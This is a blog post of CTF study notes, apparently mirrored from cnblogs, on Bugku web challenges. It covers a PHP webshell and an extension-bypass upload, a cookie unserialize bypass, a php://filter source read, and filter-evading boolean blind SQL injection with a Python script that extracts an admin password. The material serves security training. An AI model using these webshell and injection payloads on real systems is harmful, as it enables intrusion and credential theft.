zoukankan      html  css  js  c++  java
  • [bugku]高阶web 综合帖

    以下差不多是150+开始的

    [文件包含2]

    注意到是文件包含,而不是上传。

     

     这个时候不单单是文件上传。注意这种方法:

    在php文件里写入<script language=php>system("ls")</script>,列当前目录

    同理,修改后缀名为jpg,如1.php;.jpg,上传成功 (列出当前目录的意思)

    【这样改后缀的方法mark一下】

    后缀改成.jpg之后蒙混过关了 代码在里面发酵..  其实的呢,它给出了路径,根据这个路径试试,可以搞到文件,那么可以利用这个发挥作用。

    <script language=php>@eval($_POST['cmd']);</script> (也很重要,但是这个被ban了)

    javascript  eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。

    关于这句话: https://blog.csdn.net/xiuzhentianting/article/details/48442977

    ========

    它后面的:

    [flag.php]

    发现各种乱搞, 扫描后台 post一下 hackbar用一下不行

    题目提示: hint 

    既然没有submit 那么直接get传参 

    既然user和password不行 ?hint=.... 试一下

     这样发现了源代码...

     代码审计.... (折叠)

     <?php
    error_reporting(0);
    include_once("flag.php");
    $cookie = $_COOKIE['ISecer'];
    if(isset($_GET['hint'])){
        show_source(__FILE__);
    }
    elseif (unserialize($cookie) === "$KEY")
    {   
        echo "$flag";
    }
    else {
    ?>
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Login</title>
    <link rel="stylesheet" href="admin.css" type="text/css">
    </head>
    <body>
    <br>
    <div class="container" align="center">
      <form method="POST" action="#">
        <p><input name="user" type="text" placeholder="Username"></p>
        <p><input name="password" type="password" placeholder="Password"></p>
        <p><input value="Login" type="button"/></p>
      </form>
    </div>
    </body>
    </html>
    
    <?php
    }
    $KEY='ISecer:www.isecer.com';
    ?> 
    

      

    notice: 既然已经源代码都找到了 还没有flag肯定是自己哪里搞错 审题  审题 审题

    有坑:

    (1) 里面类似是嵌套的

    最后才给出了$KEY的定义

    key的值是在最后面定义的  所以前面是null(其实是""  不能输入null进行序列化哦) 序列化见后面附录

    (2)格式问题(再次证明我是个筛子...)

    参考前文给出/ 捕获其他进行对比/ 搞清楚再下笔

    这里没有"s" 加上是冒号

    注意前是xx=xx

     我们查看源代码里面的提示  啊111  ISecer=.....  !!!!    (代码审计!!! 前面是cookie)

    $_COOKIE['ISecer']
    这个东西就是ISecer的值是.....
    $cookie = $_COOKIE['ISecer'];
    这个东西就是定义一个is...的cookie, 然后$cookie是保存的他的值,当他的值等于...的时候就ok
    (解除序列化等于它lo, 我们就搞到$key 原来的值上去 )
    elseif (unserialize($cookie) === "$KEY")
    =================
    
    

    后面两个题目坏掉了.... 神tm容易

    "phpmyadmin"可以用来登录的

    [login2]

     placeholder 这个东西 是新属性 , 后面才支持

    <input type="text" name="fname" placeholder="First name"><br>

    所以。。 type是显示类型, name是很重要的  placeholder相当于二次标注  不用管的

    抓包哦。。。。 后面发现竟然网页里自己带了个tip

    意思是:

    $sql="SELECT username,password

    FROM admin

    WHERE username='

    ".$username."    '

    ";

    if (!empty($row) && $row['password']===md5($password)){ }

    [login3]  我感觉就是要充分利用好返回的不同的信息!

    先输入,发现用户名不存在,但是当输入admin的时候,返回的是密码错误,输入个别的比如select,非法的字符串。emmm,可以布尔盲注:

    然后试试在admin后加上单引号,但是返回是用户名不存在   

    这意味着什么呢?这说明即使语法错误,也不会在页面上显示报错信息,

    也就不能使用报错注入了,我们发现有两种返回信息:

    username does not exist!和password error!,那我们可以利用这两个返回值进行布尔盲注。

    我们猜测后台的验证应该是先查找我们输入的用户名是否存在,大概是:

    select password,username from users where username=”我们输入的用户名”

    如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,比如这道题就可以尝试补成

    where username=’admin’ and (substring(database(),1,1)=’a’)【从1开始提取数据库名字,只提取一个】

    如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。passworderror表明前面是username那一关已经过了,也就是后面的bool值是真的

    如果你是=‘b’的话,那边不会过,即使是admin输入,也会爆用户名不存在的错误。

    --------------------- 

    原文:https://blog.csdn.net/zpy1998zpy/article/details/80667775

    好的,但是这个题目过滤了and。

    经过尝试发现还过滤了空格,逗号,等号,for

    空格用括号代替,等号用<>(一种不等号)代替

    以及:异或运算^,先说一下基本规则:

    1^1=0    1^0=1   0^0=0

    先猜数据库名,基本语句

    admin’^(ascii(mid(database()from(1)))<>97)^0#


    解释一下为什么,为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?

    这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。

    每个字符的ascii码判断是不是不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。

    如果数据库名的第一位的ascii码值不是97,【<>  就是不等于的意思】where条件是username=’admin’^1^0

    返回值是username does not exist!  (假)1+1+0

    如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0

    返回值会是password error!  (真)1+0+0

    这就构成了布尔报错注入。

    【passe是整个值为真的情况,userex是整个值是假的情况,admin是真,那么见后面的括号。

    补充一点,因为这里既是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也不知道,就很麻烦了,不过可以改变最后是^0还是^1,如果改不改返回值相同,那就是有语法错误,如果不同就可以参照上一段了。这也是为什么要多加一个^0,看似多此一举,其实好处多多。

    就是说admin’^(ascii(mid(database()from(1)))<>97)^1# 就可以得到password error!
    【因为,真+真,+真=真,+假=假,如果最后那个 ^1  ^0答案是不同的,就说明你可以进行布尔盲注入。】

    嗯,然后这个当然不是手算了,python写了一个脚本来暴力破解。

    import requests
    str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
    url="http://118.89.219.210:49167/index.php"
    r=requests.session()
     
    def databasere():
        resutlt=""
        for i in range(30):
            fla = 0
            for j in str_all:
                playlod="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j))
                data = {
                    "username": playlod,
                    "password": "123"
                }
                s=r.post(url,data)
                print(playlod)
                if "error" in s.text:
                    resutlt+=j
                    print(resutlt)
                if fla == 0:
                    break
     
    def password():
        resutlt=""
        for i in range(40):
            fla=0
            for j in str_all:
                playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))
                data = {
                    "username": playlod,
                    "password": "123"
                }
                s=r.post(url,data)
                print(playlod)
                if "error" in s.text:
                    resutlt+=j
                    fla=1
                    print('**************************',resutlt)
            if fla==0:
                break
    #databasere()
    password()
    --------------------- 
    作者:孤鸿影~ 
    来源:CSDN 
    原文:https://blog.csdn.net/zpy1998zpy/article/details/80667775 
    版权声明:本文为博主原创文章,转载请附上博文链接!
    View Code

    脚本我还不会写!!!看上去很麻烦然鹅到时候 

    到时候记录一下吧

     有关【文件】

        ?op=php://filter/read=convert.base64-encode/resource=flag

     (因为op=upload....) 

     emmmmm 发现后面的题目都坏掉了.... 也没有题解.... (所以我才觉得没提可做吧...orx)

    菜刀下载地址:https://blog.csdn.net/xxxslinyue/article/details/79397973  (但是又病毒  又被ban了)

    ===========附录============

    1.php在线编程地址: http://www.dooccn.com/php/

    2.php反序列化

    学习地址: https://www.jb51.net/article/112638.htm

    那么我们写一行代码就是: 

    <?php
    $arr=array();
    $arr['name']='张三';
    var_dump($arr);
    $info=serialize($arr);
    var_dump($info);
    $inffo=unserialize($info);
    var_dump($inffo);
    ?>
    

      $a='zhangsan';

    直接这样就可以...  

    然后就是注意,在线生成但因为我们是输出var_dump  所以前面的string(7)去掉  引号也去掉

       其实值是 s:0:""

  • 相关阅读:
    SSL/TLS协议运行机制的概述(转)
    返回键捕获 应用程序退出的两种方式(转)
    openstack云5天资料
    数据挖掘十大经典算法
    中国大推力矢量发动机WS15 跨入 世界先进水平!
    BIEE在creating domain步骤停止的解决的方法
    suggest的使用方法
    二叉排序树
    vi 命令 使用方法
    Android Studio 初体验
  • 原文地址:https://www.cnblogs.com/lx2331/p/9838983.html
Copyright © 2011-2022 走看看